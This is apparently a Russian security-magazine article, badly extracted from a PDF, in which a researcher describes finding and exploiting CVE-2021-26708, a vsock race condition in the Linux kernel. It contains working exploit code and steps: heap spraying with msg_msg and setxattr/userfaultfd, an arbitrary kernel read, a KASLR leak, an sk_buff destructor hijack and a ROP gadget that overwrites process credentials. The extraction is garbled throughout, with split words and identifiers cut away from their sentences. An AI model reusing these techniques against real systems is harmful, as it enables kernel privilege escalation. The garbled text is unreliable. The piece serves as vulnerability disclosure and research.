virtio_transport_destruct() struct 

virtio_vsock_sock
kmalloc-64 buf_alloc

u32
VIRTIO_VSOCK_MAX_BUF_SIZE 0xFFFFFFFFUL

*val
*val

çà ïèñè ïîñ ëå îñâî áîæ äåíèÿ

ÇÀÃÀÄÊÀ ÔÀÇÇÈÍÃÀ

Как я уже упо минал, фаз зер syzkaller не смог вос про извести эту ошиб ку
в ядре и я был вынуж ден писать прог рамму-реп родюсер вруч ную. Почему же
так про изош ло? Взгляд на код фун кции  может

дать ответ на этот воп рос:

vsock_update_buffer_size()

    if (val != vsk->buffer_size &&
   transport && transport->notify_buffer_size)
    transport->notify_buffer_size(vsk, &val);

  vsk->buffer_size = val;

Здесь обра бот чик  вызыва ется, толь ко если зна чение
 отли чает ся от текуще го . Дру гими сло вами, сис темный

вызов , выпол няющий опе рацию ,

дол жен вызывать ся каж дый раз с новым зна чени ем парамет ра . Я добил- 
ся это го эффекта в моем пер вом реп родюсе ре ( ) с помощью
забав ного трю ка:

notify_buffer_size()
val buffer_size

setsockopt() SO_VM_SOCKETS_BUFFER_SIZE
size

ис ходный код

  struct timespec tp;
    unsigned long size = 0;

 clock_gettime(CLOCK_MONOTONIC, &tp);
  size = tp.tv_nsec;

  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
     &size, sizeof(unsigned long));

Здесь зна чение парамет ра  берет ся из счет чика наносе кунд, который

воз вра щает фун кция , и это зна чение с боль шой веро- 
ятностью отли чает ся от пре дыду щего на каж дой оче ред ной попыт ке спро- 
воци ровать сос тояние гон ки в ядре. Ори гиналь ный syzkaller без модифи каций
не может так сде лать. Зна чения для парамет ров сис темных вызовов выбира- 
ются, ког да syzkaller генери рует ввод для фаз зинга, и они не изме няют ся
во вре мя самого фаз зинга на целевой сис теме.

size
clock_gettime()

Как бы то ни было, я до сих пор до кон ца не понимаю, как syzkaller смог
спро воци ровать этот отказ ядра. Похоже, фаз зер сот ворил какое-то мно- 
гопо точ ное «вол шебс тво» с опе раци ями 

и , но затем не смог его сно ва вос про- 

извести.

SO_VM_SOCKETS_BUFFER_MAX_SIZE
SO_VM_SOCKETS_BUFFER_MIN_SIZE

 Воз можно, добав ление спо соб ности ран домизи ровать аргу мен ты

сис темных вызовов  поз волит фаз зеру

syzkaller находить боль ше оши бок типа . С дру гой сто роны,
это может и ухуд шить ста биль ность пов торно го вос про изве дения уже най- 
ден ных отка зов ядра.

Èäåÿ!

â ïðî öåñ ñå ñàìîãî ôàç çèíãà

CVE-2021-26708

ÑÈËÀ ×ÅÒÛÐÅÕ ÁÀÉÒÎÂ

В этом иссле дова нии я выб рал объ ектом ата ки Fedora 33 Server с ядром Linux
вер сии 5.10.11-200.fc33.x86_64. С самого начала я нацелил ся обой ти SMEP
и SMAP (аппа рат ные средс тва защиты плат формы x86_64).

Итак, 

. Это очень огра ничен ный при митив экс- 

плу ата ции, я пре одо лел боль шие труд ности, что бы прев ратить его в пол ный
кон троль над сис темой. Далее я рас ска жу, как раз работал про тотип экс пло- 
ита, в хро ноло гичес ком поряд ке.

ýòî ñîñ òîÿíèå ãîí êè ìîæåò ñïðî âîöè ðîâàòü çàïèñü

÷åòûðåõ êîí òðî ëèðó åìûõ áàé òîâ â îñâî áîæ äåííûé 64-áàé òîâûé

ÿäåð íûé îáú åêò ïî îòñòó ïó 40

INFO

Эти иллюс тра ции я сде лал из фотог рафий экспо- 
натов . Замеча тель- 
ный музей!

Го сударс твен ного Эрми тажа

Пер вым делом я начал работать над ста биль ной тех никой . Ее
суть в том, что экс пло ит дол жен выпол нить такие дей ствия в поль зователь- 
ском прос транс тве, которые зас тавят ядро выделить новый объ ект на мес те
осво бож денной 64-бай товой струк туры . В этом слу чае
оши боч ная запись пос ле осво бож дения  испортит

четыре бай та в этом новом объ екте, что может быть полез но для раз вития
ата ки.

heap spraying

virtio_vsock_sock
virtio_vsock_sock

Сна чала я про вел быс трый экспе римент с heap spraying при помощи сис- 
темно го вызова . Я выпол нил его нес коль ко раз сра зу пос ле вто- 

рого вызова , который осво бодил струк туру .

Трас сиров ка ядра через  помог ла убе дить ся, что осво бож денная
область памяти сно ва была алло циро вана. Дру гими сло вами, ста ло ясно, что
для это го слу чая впол не при мени ма тех ника heap spraying.

add_key()
connect() virtio_vsock_sock

ftrace

Сле дующим шагом в моей стра тегии экс плу ата ции этой уяз вимос ти было
най ти 64-бай товый объ ект, который спо собен дать более силь ный 

, если перепи сать в нем четыре бай та по отсту пу 40 байт от его
начала. Ух... Не так-то прос то!

экс пло- 
ит-при митив

Моя пер вая идея была при менить тех нику переза писи  из 

, который опуб ликова ли Мэд ди Сто ун (Maddie Stone) и Ян Хорн
(Jann Horn). Этот метод сос тоит в том, что акку рат но испорчен ный ядер ный
объ ект  может дать про изволь ное чте ние/запись ядер ной памяти.

Но эта идея у меня триж ды про вали лась:

iovec экс пло ита

Bad Binder

iovec

1. 64-бай товый объ ект  выделя ется в ядер ном сте ке, а не в куче,
как необ ходимо для ата ки.

iovec

2. Че тыре бай та по отсту пу 40 перепи сыва ют поле  вмес то
, поэто му ори гиналь ный спо соб здесь неп рименим.

iovec.iov_len
iovec.iov_base

3. Эта тех ника с переза писью  была устра нена в ядре начиная с вер- 
сии . Велико леп ный Ал Виро (Al Viro) сде лал это в ком мите

 в июне 2017 года:

iovec
4.13

09fc68dc66f7597b

«

»

We have  done access_ok() recently enough; we rely upon the iovec

array having passed sanity checks back when it had been created and not

nothing having buggered it since. However, that's very much non-local, so

we’d better recheck that.

NOT

Пос ле изну ритель ных экспе римен тов с нес коль кими дру гими ядер ными объ- 
екта ми, при год ными для heap spraying, я наконец нашел сис темный вызов

. При его обра бот ке в прос транс тве ядра соз дает ся струк тура
. Вот вывод ути литы pahole для нее:

msgsnd()
msg_msg

  struct msg_msg {
    struct list_head      m_list;      /*   0  16 */
    long int              m_type;      /*  16   8 */
   size_t                m_ts;        /*  24   8 */
        struct msg_msgseg * next;        /*  32   8 */
        void *                security; /*  40   8 */

   /* size: 48, cachelines: 1, members: 5 */
   /* last cacheline: 48 bytes */
};

В сущ ности, это заголо вок сооб щения, за которым сле дуют дан ные. Если
струк тура  в поль зователь ском прос транс тве име ет 16 байт в , то

соот ветс тву ющая ей ядер ная струк тура  соз дает ся в кеше алло като ра

, как и уяз вимый объ ект . Переза пись четырех
бай тов по отсту пу 40 пор тит млад шую часть ука зате ля .

Таким обра зом, в экс пло ите я исполь зую поле , что бы сло мать Linux

security. Такая иро ния.

msgbuf mtext
msg_msg

kmalloc-64 virtio_vsock_sock
void *security

security

Ука затель  ссы лает ся на память в ядер ной куче,

которая выделя ется в фун кции . В слу чае Fedora она

исполь зует ся под систе мой безопас ности SELinux. Осво бож дает ся эта память
в фун кции  при при еме сооб щения . То
есть переза пись экс пло итом млад шей час ти ука зате ля  (плат форма

x86_64 хра нит бай ты в поряд ке от млад шего к стар шему) может дать новый,
более мощ ный при митив экс плу ата ции — 

, или .

msg_msg.security
lsm_msg_msg_alloc()

security_msg_msg_free() msg_msg
security

îñ âîáîæ äåíèå ïðî èçâîëü íîãî

àäðå ñà arbitrary free
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СИЛА ЧЕТЫРЕХ

БАЙТОВ
КАК Я НАШЕЛ УЯЗВИМОСТЬ CVE-2021-26708

В ЯДРЕ LINUX

COVERSTORY  НАЧАЛО СТАТЬИ←

INFOLEAK Â ÊÀ×ÅÑÒÂÅ ÁÎÍÓÑÀ

По лучив при митив осво бож дения про изволь ного адре са, я стал думать, про- 
тив какого ядер ного объ екта его мож но при менить. И здесь я вос поль зовал ся
трю ком из моего экс пло ита для . Как я уже упо минал, пов- 
торный сис темный вызов  выпол няет фун кцию

, которая записы вает NULL в .

Это при водит к тому, что далее в фун кции  ядро

выводит пре дуп режде ние (kernel warning):

CVE-2019-18683
connect()

vsock_deassign_transport() vsk->transport
vsock_stream_setsockopt()

 

 

WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34 
... 

 

 

 
... 
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246 
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80 
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0 
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000 
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008 
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0 
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) 
knlGS:0000000000000000 
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033 
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0 
Call Trace: 

 
 
 

...

CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.
fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 
04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [
vmw_vsock_virtio_transport_common]

virtio_transport_notify_buffer_size+0x60/0x70 [
vmw_vsock_virtio_transport_common]
vsock_update_buffer_size+0x5f/0x70 [vsock]
vsock_stream_setsockopt+0x128/0x270 [vsock]

Это пре дуп режде ние воз ника ет сра зу пос ле записи в осво бож денную ядер- 
ную память. Это боль шая уда ча для ата кующе го, ведь на Fedora неп ривиле- 
гиро ван ный поль зователь может читать ядер ный жур нал ./dev/kmsg

С помощью отладчи ка GDB я уста новил, что зна чение регис тра ,

которое ядро выда ет в этом пре дуп режде нии, — это адрес осво бож денно го
объ екта , а зна чение  — адрес объ екта .
Отлично! Как толь ко в ядер ном жур нале появи лось оче ред ное такое пре дуп- 
режде ние, ата кующий зна ет, что экс пло ит сно ва спро воци ровал сос тояние
гон ки, а из рас печатан ных зна чений регис тров мож но извлечь нуж ные ядер- 
ные адре са.

RCX

virtio_vsock_sock RBX vsock_sock

ÎÒ ÎÑÂÎÁÎÆÄÅÍÈß ÏÐÎÈÇÂÎËÜÍÎÃÎ ÀÄÐÅÑÀ

Ê ÈÑÏÎËÜÇÎÂÀÍÈÞ ÏÎÑËÅ ÎÑÂÎÁÎÆÄÅÍÈß

Да лее я пла ниро вал прев ратить при митив осво бож дения про изволь ного
адре са в исполь зование пос ле осво бож дения (use-after-free). Для это го я
собирал ся:
1. Ос вободить ядер ный объ ект, исполь зуя адрес из пре дуп режде ния в ядер- 

ном жур нале.
2. Вы пол нить heap spraying, что бы переза писать осво бож денный объ ект кон- 

тро лиру емы ми дан ными.
3. Под нять при виле гии экс пло ита с помощью это го испорчен ного ядер ного

объ екта.

Сна чала я поп робовал осво бодить память, при над лежащую  (его
адрес утек через регистр ), потому что это боль шой ядер ный объ ект

со мно жес твом инте рес ных дан ных. Но все объ екты  выделя ются

в отдель ном кеше алло като ра, для которо го нет воз можнос ти исполь зовать
стан дар тную тех нику heap spraying.

vsock_sock
RBX

vsock_sock

По это му я решил выпол нять осво бож дение памяти по адре су из регис тра
. Я стал искать 64-бай товый объ ект ядра, который содер жит адре са и дру- 

гие дан ные, полез ные для экс плу ата ции use-after-free. Более того, экс пло ит
дол жен иметь воз можность выпол нить в поль зователь ском прос транс тве
дей ствие, которое спро воци рует соз дание это го ядер ного объ екта на мес те
осво бож денно го . Поиск такого осо бого объ екта в ядре

Linux был очень дол гим и изну ритель ным. Я даже исполь зовал для это го 

, что бы как-то авто мати зиро- 
вать мой поиск.

RCX

virtio_vsock_sock
ñãå- 

íåðè ðîâàí íûé ôàç çåðîì íàáîð ïðîã ðàìì

Па рал лель но с этим я про дол жал изу чать, как имен но ядро Linux обра- 
баты вает сооб щения System V, так как объ екты  уже исполь зовались

в этом экс пло ите для heap spraying. И тут мне приш ла замеча тель ная идея,
как пере исполь зовать  для экс плу ата ции use-after-free.

msg_msg

msg_msg

ÏÐÎÈÇÂÎËÜÍÎÅ ×ÒÅÍÈÅ ßÄÅÐÍÎÉ ÏÀÌßÒÈ

В ядер ной реали зации сооб щений System V опре делен мак сималь ный раз- 
мер сооб щения , который равен  минус 

 Если отпра вить сооб щение боль шего раз мера,

не помес тивши еся дан ные сох раня ются в связ ном спис ке сег ментов.
Для это го струк тура  содер жит поле ,
которое ука зыва ет на пер вый сег мент, и поле , в котором хра- 

нит ся сум марный раз мер дан ных в сооб щении.

DATALEN_MSG PAGE_SIZE
.sizeof(struct msg_msg))

msg_msg struct msg_msgseg *next
size_t m_ts

От лично! Я могу раз местить кон тро лиру емые дан ные в 
и , ког да я переза писы ваю сооб щение пос ле того, как исполь- 

зую про тив него при митив про изволь ного осво бож дения памяти.

msg_msg.m_ts
msg_msg.next

Здесь важ но отме тить, что я  перепи сываю поле , что бы

не сло мать про вер ку раз решений под систе мы SELinux. Это воз можно, если
исполь зовать замеча тель ную тех нику  heap
spraying, которую .  я рас- 

полагаю полез ную наг рузку для heap spraying на гра нице стра ниц так, что бы
ядер ная фун кция  оста нови лась с отка зом стра ницы (page
fault) пря мо перед переза писью поля . Вот как выг лядит

часть экс пло ита, которая под готав лива ет эту полез ную наг рузку:

íå msg_msg.security

setxattr() & userfaultfd()
опуб ликовал Виталий Николен ко Ïîä ñêàç êà:

copy_from_user()
msg_msg.security

#define PAYLOAD_SZ 40

   void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
{
     struct msg_msg *msg_ptr;

           xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;

   /* Don’t touch the second part
    * to avoid breaking page fault delivery
    */
       memset(spray_data, 0xa5, PAGE_SIZE * 4);

   printf("[+] adapt the msg_msg spraying payload:\n");
       msg_ptr = (struct msg_msg *)xattr_addr;
     msg_ptr->m_type = 0x1337;
     msg_ptr->m_ts = ARB_READ_SZ;
   /* set the segment ptr for arbitrary read */
       msg_ptr->next = (struct msg_msgseg *)kaddr;
   printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\t
msgseg next %p at %p\n",
          msg_ptr,

           msg_ptr->m_type, &(msg_ptr->m_type),
           msg_ptr->m_ts, &(msg_ptr->m_ts),
           msg_ptr->next, &(msg_ptr->next));

}

Но как же вычитать ядер ные дан ные с помощью это го ата кован ного ?

При ем такого сооб щения тре бует манипу ляций с оче редью сооб щений
System V, а это при водит к отка зу ядра из-за испорчен ного ука зате ля

, в который я записал  (мне недос тупно

его кор рек тное зна чение). Сна чала мне в голову приш ла идея прос то
записать в этот ука затель адрес дру гого сооб щения , но от это го
ядро завис ло, потому что про ход по связ ному спис ку оче реди сооб щений
System V не смог завер шить ся.

msg_msg

msg_msg.m_list 0xa5a5a5a5a5a5a5a5

msg_msg

Изу чение  на сис темный вызов  помог ло най ти
рабочее решение: я вос поль зовал ся  с фла гом :

до кумен тации msgrcv()
msgrcv() MSG_COPY

INFO

MSG_COPY (начиная с Linux 3.8)
За бира ет копию сооб щения без уда ления

из началь ной позиции в оче реди, задан ной
в msgtyp (сооб щения нумеру ются начиная с 0).

С этим фла гом ядро копиру ет дан ные сооб щения в поль зователь ское прос- 
транс тво без уда ления из оче реди сооб щений. Это то, что нуж но! Флаг

 дос тупен в ядре, если оно соб рано с опци ей

, что выпол няет ся для Fedora Server.

MSG_COPY
CONFIG_CHECKPOINT_RESTORE=y

ÏÐÎÈÇÂÎËÜÍÎÅ ×ÒÅÍÈÅ: ÏÎØÀÃÎÂÀß ÏÐÎÖÅÄÓÐÀ

Вот как выг лядит пошаго вая про цеду ра, с помощью которой мой экс пло ит
выпол няет чте ние про изволь ной ядер ной памяти:
1. Под готовить ата ку:

Вы чис лить количес тво дос тупных CPU с помощью 
 и  (для экс плу ата ции этой уяз- 

вимос ти тре бует ся не менее двух CPU).

•
sched_getaffinity() CPU_COUNT()

От крыть ядер ный жур нал  для отсле жива ния пре дуп режде- 
ний ядра.

• /dev/kmsg

Ис поль зуя , выделить память для  и уста новить
 на конец это го реги она памяти.

• mmap() spray_data
userfaultfd()
За пус тить отдель ный поток ( ) для обра бот ки событий

.
• pthread
userfaultfd()
За пус тить 127 потоков для выпол нения 

 heap spraying и оста новить их ждать
на барь ере .

•
setxattr() & userfaultfd()

pthread_barrier
2. По лучить ядер ный адрес исправ ного сооб щения . Для это го:msg_msg

Дос тичь сос тояния гон ки на вир туаль ном сокете, как было опи сано
выше.

•

По дож дать 35 мик росекунд пос ле вто рого сис темно го вызова 
 в котором ядро осво бож дает объ ект

.

•
,connect()

virtio_vsock_sock
Выз вать  для отдель ной оче реди сооб щений; ядро помеща ет

 на мес то осво бож денно го объ екта 
 из-за этой задер жки в 35 мик- 

росекунд.

• msgsnd()
msg_msg virtio_vsock_sock
óæå ïîñ ëå ïîð ÷è ÿäåð íîé ïàìÿòè

Вы читать пре дуп режде ние в ядер ном жур нале и сох ранить ядер ный
адрес соз данно го объ екта  (содер жится в регис тре ).
Еще раз отме чу, что дан ные это го сооб щения не были испорче ны из-за
уяз вимос ти, это важ но для даль нейше го раз вития ата ки.

•
msg_msg RCX

Сох ранить ядер ный адрес струк туры  из регис тра .• vsock_sock RBX
3. Ос вободить память исправ ного объ екта  с помощью испорчен- 

ного объ екта . Для это го:

msg_msg
msg_msg

Ис поль зовать четыре бай та адре са исправ ного  в качес тве
зна чения ; эти четыре бай та будут
исполь зованы при пор че памяти — записа ны в осво бож денную ядер- 
ную память.

• msg_msg
SO_VM_SOCKETS_BUFFER_SIZE

Дос тичь сос тояния гон ки на вир туаль ном сокете.•
Выз вать   вто рого сис темно го вызова 

 ядро помеща ет сооб щение  на мес то осво бож- 
денно го объ екта  и  в его

поле .

• msgsnd() ñðà çó ïîñ ëå

;connect() msg_msg
virtio_vsock_sock ïîð òèò ÷åòûðå áàé òà

msg_msg.security
Те перь ука затель  испорчен ного сооб щения  содер- 
жит адрес исправ ного сооб щения  (из шага 2).

• security msg_msg
msg_msg

Ес ли переза пись  из потока, выпол няюще го
, про исхо дит во вре мя обра бот ки сис темно го вызова

, то про вер ка раз решения SELinux завер шает ся неус пешно.

• msg_msg.security
setsockopt()
msgsnd()
В этом слу чае сис темный вызов  воз вра щает , а испорчен- 
ное сооб щение  унич тожа ется. Таким обра зом, осво бож дение
памяти, на которую ука зыва ет испорчен ный ука затель 

, при водит к осво бож дению исправ ного сооб щения
, которое было соз дано на вто ром шаге.

• msgsnd() -1
msg_msg

msg_msg.
security
msg_msg

Ука затель испорчен ного сооб щения содер жит адрес исправ ного

4. Пе реза писать исправ ное сооб щение  кон тро лиру емы ми дан ными.

Для это го:

msg_msg

Сра зу пос ле сис темно го вызова , который вер нул , экс пло- 
ит вызыва ет  и тем самым про буж- 
дает 127 потоков для heap spraying, которые ждут на барь ере.

• msgsnd() -1
pthread_barrier_wait()

Эти потоки выпол няют  с полез ной наг рузкой, под готов- 
ленной в фун кции 

, которая была опи сана выше.

• setxattr()
adapt_xattr_vs_sysv_msg_spray(

vsock_kaddr)
Те перь осво бож денное исправ ное сооб щение  переза писы- 
вает ся кон тро лиру емы ми дан ными так, что его поле ,
ука зыва ющее на сег мент сооб щения System V, содер жит адрес ядер- 
ного объ екта  (был взят из регис тра  на шаге 2).

• msg_msg
msg_msg.next

vsock_sock RBX

По ле исправ ного сооб щения содер жит адрес vsock_sock

5. Вы читать содер жимое ядер ного объ екта  в поль зователь ское

прос транс тво. Для это го экс пло ит выпол няет при ем модифи циро ван ного
сооб щения  из отдель ной оче реди, в которой оно было соз дано:

vsock_sock

msg_msg

  ret = msgrcv(msg_locations[0].msq_id,
               kmem, ARB_READ_SZ, 0,

                 IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

Эта часть экс пло ита работа ет очень надеж но.

ÐÀÇÁÈÐÀÅÌ ÄÎÁÛ×Ó

Чте ние про изволь ной ядер ной памяти при нес ло экс пло иту хорошую добычу:
содер жимое ядер ного объ екта . Эти дан ные ата кующий может

исполь зовать для даль нейше го раз вития ата ки.

vsock_sock

Вот что инте рес ного я нашел внут ри :vsock_sock
Мно жес тво ука зате лей на объ екты из отдель ных кешей алло като ра
(dedicated slab caches), нап ример  и . Я
не смог при думать, как исполь зовать их для раз вития ата ки.

•
PINGv6 sock_inode_cache

Ука затель , который рас полага ется
в струк туре  по отсту пу  бай та. Объ екты типа

 соз дают ся ядром в общем кеше алло като ра .
А это под ходит!

• struct mem_cgroup *sk_memcg
vsock_sock.sk 664

mem_cgroup kmalloc-4k

Ука затель , который рас полага ется в струк- 
туре  по отсту пу  байт. Он содер жит адрес дес крип тора
при виле гий (credentials) для про цес са моего экс пло ита. Экс пло ит дол жен
модифи циро вать этот дес крип тор, что бы повысить свои при виле гии в сис- 
теме. В этом сос тоит цель ата ки.

• const struct cred *owner
vsock_sock 840

Ука затель на фун кцию ,
который рас полага ется в струк туре  по отсту пу  байт.

В нем содер жится адрес ядер ной фун кции .
Этим мож но вос поль зовать ся для вычис ления сек ретно го зна чения

, которое вли яет на рас положе ние кода ядра в вир туаль ной памяти
сис темы.

• void (*sk_write_space)(struct sock *)
vsock_sock.sk 688

sock_def_write_space()

KASLR

Да лее пред став лен код, выделя ющий нуж ные адре са из дан ных, которые экс- 
пло ит вычитал из ядер ной памяти:

#define MSG_MSG_SZ    48
#define DATALEN_MSG     (PAGE_SIZE - MSG_MSG_SZ)
#define SK_MEMCG_OFFSET   664
#define SK_MEMCG_RD_LOCATION (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET 840
#define OWNER_CRED_RD_LOCATION (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET 688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + 
SK_WRITE_SPACE_OFFSET)

/*
* From Linux kernel 5.10.11-200.fc33.x86_64:
*   function pointer for calculating KASLR secret
*/

#define SOCK_DEF_WRITE_SPACE  0xffffffff819851b0lu

    unsigned long sk_memcg = 0;
    unsigned long owner_cred = 0;
    unsigned long sock_def_write_space = 0;
    unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
  sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
  owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(
uint64_t)];
printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked 
kmem)\n",
  sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
 printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);

Струк тура  выделя ется ядром Linux в отдель ном кеше алло като ра,
который называ ется . Если бы я исполь зовал мой при митив осво- 

бож дения про изволь ной памяти про тив струк туры , я бы не смог переза- 

писать ее кон тро лиру емы ми дан ными (по край ней мере, я не знаю, как это
сде лать). Жаль, это было бы иде аль ным завер шени ем ата ки.

cred
cred_jar

cred

По это му я сфо куси ровал ся на ата ке объ екта . Я поп робовал

выз вать для него осво бож дение памяти, но ядро Linux пос ле это го момен- 
таль но ушло в отказ (kernel panic). К сожале нию, ока залось, что ядро очень
интенсив но исполь зует этот объ ект. Сно ва неуда ча. Но тут я вспом нил
про один из моих ста рых про верен ных трю ков для повыше ния при виле гий
в сис теме.

mem_cgroup

Продолжение статьи →

https://a13xp0p0v.github.io/2020/02/15/CVE-2019-18683.html
https://duasynt.com/blog/linux-kernel-heap-spray
https://man7.org/linux/man-pages/man2/msgrcv.2.html


СИЛА ЧЕТЫРЕХ

БАЙТОВ
КАК Я НАШЕЛ УЯЗВИМОСТЬ CVE-2021-26708

В ЯДРЕ LINUX

COVERSTORY  НАЧАЛО СТАТЬИ←

ÑÒÀÐÛÉ ÒÐÞÊ Ñ ÎÁÚÅÊÒÎÌ SK_BUFF

В моем про тоти пе экс пло ита для уяз вимос ти  в ядре Linux я
прев ратил двой ное осво бож дение памяти из кеша алло като ра 

в исполь зование пос ле осво бож дения для объ екта . Я решил пов- 

торить этот трюк сно ва.

CVE-2017-2636
kmalloc-8192

sk_buff

Се тевой пакет в ядре Linux сущес тву ет в виде объ екта . В кон це

такого объ екта раз меща ется струк тура , содер жащая ука- 

затель , которым ата кующий может вос поль зовать ся
для перех вата потока управле ния в ядре. Сетевые дан ные и струк тура

 раз мещены в еди ной области ядер ной памяти (на нее ука- 

зыва ет ). При чем соз дание в поль зователь ском прос транс тве

сетево го пакета раз мером 2800 байт при водит к раз мещению
 в кеше алло като ра , где так же живет наш объ- 

ект , адрес которо го уда лось про читать на пре дыду щем шаге ата- 

ки.

sk_buff
skb_shared_info

destructor_arg

skb_shared_info
sk_buff.head

skb_shared_info kmalloc-4k
mem_cgroup

Я при думал такую про цеду ру для перех вата потока управле ния через дес- 
трук тор в :sk_buff
1. Соз дать один кли ент ский сокет и 32 сер верных сокета с помощью

.socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
2. Под готовить в поль зователь ском прос транс тве сетевой буфер раз- 

мером 2800 байт и запол нить его зна чени ем  с помощью .0x42 memset()
3. От пра вить этот буфер с кли ент ско го сокета на каж дый сер верный сокет

с помощью . Это при водит к соз данию соот ветс тву ющих объ- 
ектов  в кеше алло като ра . При чем такую опе рацию
нуж но выпол нить на каж дом дос тупном CPU, что воз можно сде лать
с исполь зовани ем . Это важ ный момент, так
как алло катор име ет отдель ный кеш под каж дый CPU.

sendto()
sk_buff kmalloc-4k

sched_setaffinity()

4. Вы пол нить про цеду ру чте ния про изволь ной ядер ной памяти для объ екта
 (опи сано выше). Извлечь адре са 

,  и сек рет .
vsock_sock struct mem_cgroup 
*sk_memcg struct cred *owner KASLR

5. Вы чис лить воз можный адрес одно го из соз данных объ ектов 
как адрес  плюс 4096 (сле дующий эле мент в кеше алло като ра

). Я пред полагаю, что ядро рас положит  и один
из моих  рядом друг с дру гом.

sk_buff
sk_memcg

kmalloc-4k sk_memcg
sk_buff

6. Вы пол нить про цеду ру чте ния про изволь ной ядер ной памяти по пред- 
полага емо му адре су .sk_buff

7. Ес ли уда лось про читать , зна чит, был най ден
нас тоящий  и мож но перехо дить к шагу 8. В про тив ном слу чае
сле дует добавить к пред полага емо му адре су  еще 4096 и перей- 
ти к шагу 6.

0x4242424242424242lu
sk_buff

sk_buff

8. За пус тить 32 потока для выпол нения 
heap spraying для най ден ного объ екта  и оста новить их
на .

setxattr() & userfaultfd()
sk_buff

pthread_barrier
9. Вы пол нить про изволь ное осво бож дение ядер ной памяти по адре су най- 

ден ного .sk_buff
10. Про будить 32 ожи дающих потока с помощью вызова

. Они выпол нят сис темный вызов 
 переза писы вающий  кон тро лиру емы ми

дан ными.

pthread_barrier_wait()
,setxattr() skb_shared_info

11. При нять сетевые дан ные на всех 32 сер верных сокетах с помощью 
 При при еме пакета в одном из них про изой дет перех ват потока

управле ния в ядре.
.recv()

Ког да ядро обра баты вает при ем  с переза писан ной струк турой
, оно вызыва ет дес трук тор, на который ссы лает ся

. Под готов ленный дес трук тор выпол няет про изволь ную

запись ядер ной памяти (arbitrary write) и повыше ние при виле гий экс пло ита
в сис теме. Как? Это я опи сываю в сле дующем раз деле.

sk_buff
skb_shared_info
destructor_arg

Здесь нуж но отме тить, что use-after-free на объ екте  — это глав- 

ный источник нес табиль нос ти в экс пло ите. Было бы здо рово най ти иной объ- 
ект ядра, соз дающий ся в , для которо го мож но более надеж но

экс плу ати ровать ошиб ку исполь зования пос ле осво бож дения.

sk_buff

kmalloc-4k

ÏÐÎÈÇÂÎËÜÍÀß ÇÀÏÈÑÜ ßÄÅÐÍÎÉ ÏÀÌßÒÈ ×ÅÐÅÇ

SKB_SHARED_INFO

Взгля нем на часть кода экс пло ита, в которой под готав лива ются дан ные
для переза писи объ екта :sk_buff

#define SKB_SIZE    4096
#define SKB_SHINFO_OFFSET 3776
#define MY_UINFO_OFFSET   256
#define SKBTX_DEV_ZEROCOPY  (1 << 3)

 void prepare_xattr_vs_skb_spray(void)
{
       struct skb_shared_info *info = NULL;

             xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

   /* Don’t touch the second part
    * to avoid breaking page fault delivery
    */
       memset(spray_data, 0x0, PAGE_SIZE * 4);

         info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET)
;
     info->tx_flags = SKBTX_DEV_ZEROCOPY;
       info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;

         uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);

Струк тура  рас полага ется в дан ных для heap spraying

по отсту пу , который сос тавля ет 3776 байт. Ука затель

 дол жен хра нить адрес струк туры
. Я соз даю под дель ную струк туру  по отсту пу

 в самом сетевом пакете. Это воз можно за счет того, что

мне известен ядер ный адрес ата куемо го объ екта . Содер жимое
переза писан ного  изоб ражено на сле дующей схе ме.

skb_shared_info
SKB_SHINFO_OFFSET

skb_shared_info.destructor_arg
ubuf_info ubuf_info
MY_UINFO_OFFSET

sk_buff
sk_buff

А теперь рас смот рим, на что ука зыва ет :destructor_arg

/*
* A single ROP gadget for arbitrary write:
*   mov rdx, qword ptr [rdi + 8]
*   mov qword ptr [rdx + rcx*8], rsi
*   ret
* Here rdi stores uinfo_p address, rcx is 0, rsi is 1
*/

    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
/* value for "qword ptr [rdi + 8]" */

    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET;
/* rsi value 1 should not get into euid */

    uinfo_p->desc = uinfo_p->desc - 1;

Как мож но видеть, я при думал очень стран ный экс пло ит-при митив для про- 
